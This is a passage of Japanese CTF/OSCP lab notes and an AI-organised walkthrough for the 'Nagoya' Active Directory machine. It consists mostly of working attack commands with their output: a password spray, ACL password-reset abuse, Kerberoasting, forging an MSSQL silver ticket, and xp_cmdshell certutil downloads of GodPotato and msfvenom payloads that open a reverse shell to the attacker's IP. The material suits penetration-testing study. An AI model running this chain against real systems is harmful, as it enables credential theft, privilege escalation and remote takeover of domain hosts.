TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 316
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 1252
TCP 0.0.0.0:49676 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:49678 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:49679 0.0.0.0:0 LISTENING 2492
TCP 0.0.0.0:49684 0.0.0.0:0 LISTENING 620
TCP 0.0.0.0:49693 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:49708 0.0.0.0:0 LISTENING 2580
TCP 0.0.0.0:49797 0.0.0.0:0 LISTENING 2616
TCP 0.0.0.0:52804 0.0.0.0:0 LISTENING 4372
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2580
TCP 127.0.0.1:389 127.0.0.1:49681 ESTABLISHED 628
TCP 127.0.0.1:389 127.0.0.1:49683 ESTABLISHED 628
TCP 127.0.0.1:389 127.0.0.1:49740 ESTABLISHED 628
TCP 127.0.0.1:49681 127.0.0.1:389 ESTABLISHED 2740
TCP 127.0.0.1:49683 127.0.0.1:389 ESTABLISHED 2740
TCP 127.0.0.1:49740 127.0.0.1:389 ESTABLISHED 2580
TCP 192.168.212.21:53 0.0.0.0:0 LISTENING 2580
TCP 192.168.212.21:139 0.0.0.0:0 LISTENING 4
TCP 192.168.212.21:389 192.168.212.21:49753 ESTABLISHED 628
TCP 192.168.212.21:389 192.168.212.21:49790 ESTABLISHED 628
TCP 192.168.212.21:389 192.168.212.21:49794 ESTABLISHED 628
TCP 192.168.212.21:5985 192.168.45.187:33632 TIME_WAIT 0
TCP 192.168.212.21:5985 192.168.45.187:37576 TIME_WAIT 0
TCP 192.168.212.21:5985 192.168.45.187:37588 ESTABLISHED 4
TCP 192.168.212.21:5985 192.168.45.187:42230 TIME_WAIT 0
TCP 192.168.212.21:5985 192.168.45.187:44460 TIME_WAIT 0
TCP 192.168.212.21:49753 192.168.212.21:389 ESTABLISHED 2580
TCP 192.168.212.21:49790 192.168.212.21:389 ESTABLISHED 2616
TCP 192.168.212.21:49794 192.168.212.21:389 ESTABLISHED 2616
TCP 192.168.212.21:50036 42.99.140.169:80 SYN_SENT 1508
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:88 [::]:0 LISTENING 628
TCP [::]:135 [::]:0 LISTENING 880
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:464 [::]:0 LISTENING 628
TCP [::]:593 [::]:0 LISTENING 880
TCP [::]:1433 [::]:0 LISTENING 4372
TCP [::]:3389 [::]:0 LISTENING 1000
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:9389 [::]:0 LISTENING 2624
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 476
TCP [::]:49665 [::]:0 LISTENING 316
TCP [::]:49666 [::]:0 LISTENING 628
TCP [::]:49668 [::]:0 LISTENING 1252
TCP [::]:49676 [::]:0 LISTENING 628
TCP [::]:49678 [::]:0 LISTENING 628
TCP [::]:49679 [::]:0 LISTENING 2492
TCP [::]:49684 [::]:0 LISTENING 620
TCP [::]:49693 [::]:0 LISTENING 628
TCP [::]:49708 [::]:0 LISTENING 2580
TCP [::]:49797 [::]:0 LISTENING 2616
TCP [::]:52804 [::]:0 LISTENING 4372
TCP [::1]:53 [::]:0 LISTENING 2580
TCP [::1]:49666 [::1]:49792 ESTABLISHED 628
TCP [::1]:49666 [::1]:49912 ESTABLISHED 628
TCP [::1]:49666 [::1]:50031 ESTABLISHED 628
TCP [::1]:49792 [::1]:49666 ESTABLISHED 2616
TCP [::1]:49912 [::1]:49666 ESTABLISHED 628
TCP [::1]:50030 [::1]:135 TIME_WAIT 0
TCP [::1]:50031 [::1]:49666 ESTABLISHED 628
UDP 0.0.0.0:123 *:* 328
UDP 0.0.0.0:389 *:* 628
UDP 0.0.0.0:3389 *:* 1000
UDP 0.0.0.0:5353 *:* 828
UDP 0.0.0.0:5355 *:* 828
UDP 0.0.0.0:49152 *:* 2580
UDP 0.0.0.0:49153 *:* 2580
UDP 0.0.0.0:49154 *:* 2580
UDP 0.0.0.0:49155 *:* 2580
UDP 0.0.0.0:49156 *:* 2580
UDP 0.0.0.0:49157 *:* 2580
UDP 0.0.0.0:49158 *:* 2580
UDP 0.0.0.0:49159 *:* 2580
UDP 0.0.0.0:49160 *:* 2580
UDP 0.0.0.0:49161 *:* 2580
UDP 0.0.0.0:49162 *:* 2580
UDP 0.0.0.0:49163 *:* 2580
UDP
sqlcmd -S localhost -E
sqlcmd -S 127.0.0.1 -E
windowsでsshポートフォワードが使えない
kali側
chisel server --reverse -p 8000
target側
upload chisel.exe
iwr http://192.168.45.187/chisel.exe -OutFile chisel.exe
.\chisel.exe client YOUR_KALI_IP:8000 R:1433:127.0.0.1:1433
.\chisel.exe client 192.168.45.187:8000 R:1433:127.0.0.1:1433
確認
nc -vz 127.0.0.1 1433
impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
└─$ impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (NAGOYA-IND\svc_mssql guest@master)> ifconfig
ERROR(nagoya\SQLEXPRESS): Line 1: Could not find stored procedure 'ifconfig'.
SQL (NAGOYA-IND\svc_mssql guest@master)>
シルバーチケットの条件
1. SPNがあるサービスアカウントを見つける（GetUserSPNs.py や LDAP）
2. そのアカウントの NTLMハッシュ を取得する（Kerberoastでパスワードを割る、または他の手段でダンプ）
3. ドメインSID を取得する
4. 対象ホスト名 と サービス名 が分かる
必要な情報 入手方法
① ドメイン名
whoami /fqdn、LDAP、BloodHound
② ドメイン SID
lookupsid.py、whoami /user、Mimikatz
③ サービス名 SPN (GetUserSPNs.py)
④ サービスアカウントの NTLM Hash Kerberoast、DCSync、LSASS、SAMなど
⑤ ターゲットホスト名
SPN または DNS
必要な情報 コマンド中の値
① ドメイン名 corp.com
② ドメインSID S-1-5-21-1987370270-658905905-1781884369
③ サービス名 http
④ サービスアカウントのNTLMハッシュ 4d28cf5252d39971419580a51484ca09
⑤ ターゲットホスト名 web04.corp.com
今回は
必要な情報 コマンド中の値
① ドメイン名 nagoya.nagoya-industries.com
② ドメインSID S-1-5-21-1969309164-1513403977-1686805993
③ サービス名
impacket-GetUserSPNs nagoya-industries.com/fiona.clark:Summer2023 -request
or
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents> Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
DistinguishedName : CN=svc_mssql,CN=Users,DC=nagoya-industries,DC=com
Enabled : True
GivenName : svc_mssql
Name : svc_mssql
ObjectClass : user
ObjectGUID : df7dda21-173f-4a4a-88ed-70d69481b46e
SamAccountName : svc_mssql
ServicePrincipalNames : {MSSQL/nagoya.nagoya-industries.com}
SID : S-1-5-21-1969309164-1513403977-1686805993-1136
Surname :
UserPrincipalName : svc_mssql@nagoya-industries.com
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents>
④ サービスアカウントのNTLMハッシュ e3a0168bc21cfb88b95c954a5b18f57c
平文パスワードが分かっている場合は以下で計算できる。
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
echo -n 'Service1' | iconv -t UTF-16LE | openssl md4
NTLM Hash Generator https://codebeautify.org/ntlm-hash-generator
NTLM Password Hasher https://www.browserling.com/tools/ntlm-hash
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
e3a0168bc21cfb88b95c954a5b18f57c
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ echo -n 'Service1' | iconv -t UTF-16LE | openssl md4
MD4(stdin)= e3a0168bc21cfb88b95c954a5b18f57c
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
⑤ ターゲットホスト名 これも SPN に含まれています。
kerberos::golden
/sid:S-1-5-21-1969309164-1513403977-1686805993
/domain:nagoya-industries.com
/ptt
/target:nagoya.nagoya-industries.com
/service:MSSQL
/rc4:e3a0168bc21cfb88b95c954a5b18f57c
/user:svc_mssql
kerberos::golden
/sid:S-1-5-21-1969309164-1513403977-1686805993
/domain:nagoya-industries.com
/ptt
/target:nagoya.nagoya-industries.com
/service:MSSQL
/rc4:E3A0168BC21CFB88B95C954A5B18F57C
/user:Administrator
/id:500
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
ticketer.py -nthash e3a0168bc21cfb88b95c954a5b18f57c -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
export KRB5CCNAME=$PWD/Administrator.ccache
export KRB5CCNAME= $PWD/Administrator.ccache
export KRB5CCNAME=/root/Desktop/nagoya/Administrator.ccache
impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
impacket-mssqlclient nagoya.nagoya-industries.com -k
impacket-mssqlclient -k nagoya.nagoya-industries.com
mssqlclient -k nagoya.nagoya-industries.com
impacket-smbclient -k -no-pass $HOST
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for nagoya-industries.com/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ klist
klist: No credentials cache found (filename: /tmp/krb5cc_1000)
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ export KRB5CCNAME=$PWD/Administrator.ccache
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ export KRB5CCNAME=$PWD/Administrator.ccache
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (NAGOYA-IND\svc_mssql guest@master)> Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 120, in <module>
shell.cmdloop()
~~~~~~~~~~~~~^^
File "/usr/lib/python3.13/cmd.py", line 134, in cmdloop
line = input(self.prompt)
KeyboardInterrupt
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-mssqlclient
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
usage: mssqlclient.py [-h] [-db DB] [-windows-auth] [-debug] [-show] [-command [COMMAND ...]] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
[-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port PORT]
target
TDS client implementation (SSL supported).
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
options:
-h, --help show this help message and exit
-db DB MSSQL database instance (default None)
-windows-auth whether or not to use Windows Authentication (default False)
-debug Turn DEBUG output ON
-show show the queries
-command [COMMAND ...]
Commands to execute in the SQL shell. Multiple commands can be passed.
-file FILE input file with commands to execute in the SQL shell
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
-port PORT target MSSQL port (default 1433)
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-mssqlclient -k nagoya.nagoya-industries.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 97, in <module>
ms_sql.connect()
~~~~~~~~~~~~~~^^
File "/usr/lib/python3/dist-packages/impacket/tds.py", line 540, in connect
sock.connect(sa)
~~~~~~~~~~~~^^^^
TimeoutError: [Errno 110] Connection timed out
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ klist
Ticket cache: FILE:/home/kali/oscp/pGpractice/Nagoya/192.168.212.21/Administrator.ccache
Default principal: Administrator@NAGOYA-INDUSTRIES.COM
Valid starting Expires Service principal
06/28/2026 20:02:56 06/25/2036 20:02:56 MSSQL/nagoya.nagoya-industries.com@NAGOYA-INDUSTRIES.COM
renew until 06/25/2036 20:02:56
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-mssqlclient -k -no-pass nagoya.nagoya-industries.com -target-ip 127.0.0.1
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (NAGOYA-IND\Administrator dbo@master)>
xp_cmdshell
SQL (NAGOYA-IND\Administrator dbo@master)> enable_xp_cmdshell
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell whoami
output
--------------------
nagoya-ind\svc_mssql
NULL
SQL (NAGOYA-IND\Administrator dbo@master)>
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell whoami
output
--------------------
nagoya-ind\svc_mssql
NULL
SQL (NAGOYA-IND\Administrator dbo@master)> exec sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
----------------- ---------------- ----------- ----------------- ------------------ ------------ -------
nagoya\SQLEXPRESS SQLNCLI SQL Server nagoya\SQLEXPRESS NULL NULL NULL
SQL (NAGOYA-IND\Administrator dbo@master)>
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell "whoami /priv"
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell "whoami /groups"
output
--------------------------------------------------------------------------------
NULL
GROUP INFORMATION
-----------------
NULL
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
NULL
SQL (NAGOYA-IND\Administrator dbo@master)>
certutil -urlcache -f http://192.168.45.187/GodPotato-NET4.exe C:\temp\gp.exe
certutil -urlcache -f http://192.168.45.187/nc64.exe C:\temp\nc64.exe
C:\temp\gp.exe -cmd "C:\temp\nc64.exe 192.168.45.187 443 -e cmd.exe"
nc -lvnp 443
enable_xp_cmdshell
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/GodPotato-NET4.exe C:\temp\gp.exe"
GO
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/nc64.exe C:\temp\nc64.exe"
GO
xp_cmdshell "C:\temp\gp.exe -cmd ""C:\temp\nc64.exe 192.168.45.187 443 -e cmd.exe"""
GO
xp_cmdshell "C:\temp\gp.exe -cmd ""cmd.exe /c whoami > C:\temp\whoami.txt"""
xp_cmdshell "type C:\temp\whoami.txt"
＝＝＝
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=443 -f exe -o rev.exe
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/rev.exe C:\temp\rev.exe"
xp_cmdshell "dir C:\temp"
xp_cmdshell "C:\temp\gp.exe -cmd ""C:\temp\rev.exe"""
⇒これでできた
cmd /c "dir C:\Users\proof.txt /s /b"
cmd /c "dir C:\proof.txt /s /b"
PS C:\Windows\system32> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.212.21
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.212.254
PS C:\Windows\system32> cat C:\Users\Administrator\Desktop\proof.txt
cat C:\Users\Administrator\Desktop\proof.txt
<REDACTED_FLAG>
PS C:\Windows\system32>
walkthrough(AI)¶
このAI版 walkthrough は、生メモを攻撃チェーンとして整理したもの。Nagoya はユーザー列挙と季節パスワードスプレーから始まり、ACL によるパスワードリセットチェーン、Kerberoast、MSSQL Silver Ticket、GodPotato へ進む。
1. ユーザー列挙¶
Kerberos userenum で有効ユーザーを探す。
kerbrute userenum -d nagoya-industries.com usernames.txt --dc 192.168.212.21
2. 季節パスワードをスプレー¶
Spring2023 / Summer2023 などの季節系パスワードを作り、SMB にスプレーする。
printf '%s\n' Spring2023 Summer2023 Fall2023 Winter2023 > pass.txt
nxc smb 192.168.212.21 -d nagoya-industries.com -u users.txt -p pass.txt --continue-on-success
有効な資格情報として craig.carr や fiona.clark が見つかる。
fiona.clark / Summer2023
3. ACL チェーンでパスワードを変更¶
fiona.clark の権限で iain.white のパスワードを変更する。
rpcclient -U "fiona.clark%Summer2023" 192.168.212.21
setuserinfo2 iain.white 23 Password123!
次に iain.white の権限で christopher.lewis のパスワードを変更する。
rpcclient -U 'iain.white%Password123!' 192.168.212.21
setuserinfo2 christopher.lewis 23 Password123!
4. christopher.lewis で WinRM¶
変更したパスワードで認証を確認し、WinRM する。
nxc smb 192.168.212.21 -u christopher.lewis -p 'Password123!'
evil-winrm -i 192.168.212.21 -u christopher.lewis -p 'Password123!'
local flag を取得する。
cat C:\local.txt
5. Kerberoast で svc_mssql を取得¶
fiona.clark の資格情報で Kerberoast を実行する。svc_mssql の TGS hash が取れる。
impacket-GetUserSPNs nagoya-industries.com/fiona.clark:'Summer2023' -dc-ip 192.168.212.21 -request -outputfile kerberoast.hash
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
得られる資格情報。
svc_mssql / Service1
6. svc_mssql の NTLM hash を計算¶
Silver Ticket 作成に使うため、Service1 の NTLM hash を計算する。
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
E3A0168BC21CFB88B95C954A5B18F57C
7. MSSQL 用 Silver Ticket を作成¶
ドメイン SID、SPN、Administrator の RID 500 を使って MSSQL 用 Silver Ticket を作る。
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain nagoya-industries.com \
-spn MSSQL/nagoya.nagoya-industries.com \
-user-id 500 Administrator
ccache を指定して MSSQL に接続する。
export KRB5CCNAME=$PWD/Administrator.ccache
impacket-mssqlclient -k -no-pass nagoya.nagoya-industries.com -target-ip 127.0.0.1
8. xp_cmdshell から GodPotato を実行¶
MSSQL で xp_cmdshell を有効化し、GodPotato と reverse shell を配置して実行する。
enable_xp_cmdshell
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/GodPotato-NET4.exe C:\temp\gp.exe"
GO
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/rev.exe C:\temp\rev.exe"
GO
xp_cmdshell "C:\temp\gp.exe -cmd ""C:\temp\rev.exe"""
GO
9. proof を取得¶
Administrator の shell で proof を取得する。
cat C:\Users\Administrator\Desktop\proof.txt
10. 攻撃の流れまとめ¶
User discovery
→ season password spray
→ fiona.clark credentials
→ ACL password reset chain
→ christopher.lewis WinRM
→ local flag
→ Kerberoast svc_mssql
→ crack password: Service1
→ Silver Ticket for MSSQL as Administrator
→ MSSQL xp_cmdshell
→ GodPotato / reverse shell
→ Administrator proof.txt
drill¶
ユーザー列挙とパスワードスプレー¶
kerbrute userenum -d nagoya-industries.com usernames.txt --dc 192.168.212.21
printf '%s\n' Spring2023 Summer2023 Fall2023 Winter2023 > pass.txt
nxc smb 192.168.212.21 -d nagoya-industries.com -u users.txt -p pass.txt --continue-on-success
ACLチェーンでパスワード変更¶
rpcclient -U "fiona.clark%Summer2023" 192.168.212.21
setuserinfo2 iain.white 23 Password123!
rpcclient -U 'iain.white%Password123!' 192.168.212.21
setuserinfo2 christopher.lewis 23 Password123!
christopher.lewisでWinRM¶
nxc smb 192.168.212.21 -u christopher.lewis -p 'Password123!'
evil-winrm -i 192.168.212.21 -u christopher.lewis -p 'Password123!'
cat C:\local.txt
Kerberoast svc_mssql¶
impacket-GetUserSPNs nagoya-industries.com/fiona.clark:'Summer2023' -dc-ip 192.168.212.21 -request -outputfile kerberoast.hash
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
svc_mssqlのNTLMハッシュを計算¶
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
Silver Ticket作成とMSSQL接続¶
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain nagoya-industries.com \
-spn MSSQL/nagoya.nagoya-industries.com \
-user-id 500 Administrator
export KRB5CCNAME=$PWD/Administrator.ccache
impacket-mssqlclient -k -no-pass nagoya.nagoya-industries.com -target-ip 127.0.0.1
xp_cmdshellからGodPotato実行¶
enable_xp_cmdshell
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/GodPotato-NET4.exe C:\temp\gp.exe"
GO
xp_cmdshell "certutil -urlcache -split -f http://192.168.45.187/rev.exe C:\temp\rev.exe"
GO
xp_cmdshell "C:\temp\gp.exe -cmd ""C:\temp\rev.exe"""
GO
proof取得¶
cat C:\Users\Administrator\Desktop\proof.txt